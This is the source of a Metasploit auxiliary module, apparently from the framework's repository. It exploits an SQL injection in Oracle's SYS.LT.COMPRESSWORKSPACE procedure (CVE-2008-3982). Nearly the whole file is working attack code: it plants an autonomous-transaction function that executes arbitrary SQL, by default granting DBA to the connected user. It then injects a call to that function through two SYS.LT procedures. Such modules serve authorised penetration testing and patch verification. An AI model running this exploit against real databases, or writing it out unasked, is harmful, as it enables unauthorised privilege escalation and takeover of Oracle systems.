metasploit-framework/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb

76 lines
2.1 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::ORACLE
def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle DB SQL Injection via SYS.LT.COMPRESSWORKSPACE',
'Description' => %q{
This module exploits an sql injection flaw in the COMPRESSWORKSPACE
procedure of the PL/SQL package SYS.LT. Any user with execute
privilege on the vulnerable package can exploit this vulnerability.
},
'Author' => [ 'CG' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2008-3982'],
[ 'OSVDB', '49324'],
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2008.html' ]
],
'DisclosureDate' => 'Oct 13 2008'))
register_options(
[
OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]),
])
end
def run
return if not check_dependencies
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
cruft = Rex::Text.rand_text_alpha_upper(1)
function = "
CREATE OR REPLACE FUNCTION #{cruft}
RETURN VARCHAR2 AUTHID CURRENT_USER
AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '#{datastore['SQL']}';
COMMIT;
RETURN '#{cruft}';
END;"
package1 = "BEGIN SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END;"
package2 = "BEGIN SYS.LT.COMPRESSWORKSPACETREE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}'); END;"
clean = "DROP FUNCTION #{cruft}"
print_status("Attempting sql injection on SYS.LT.COMPRESSWORKSPACE...")
print_status("Sending function...")
prepare_exec(function)
begin
prepare_exec(package1)
prepare_exec(package2)
rescue => e
if ( e.to_s =~ /No Data/ )
print_status("Removing function '#{cruft}'...")
prepare_exec(clean)
else
return
end
end
end
end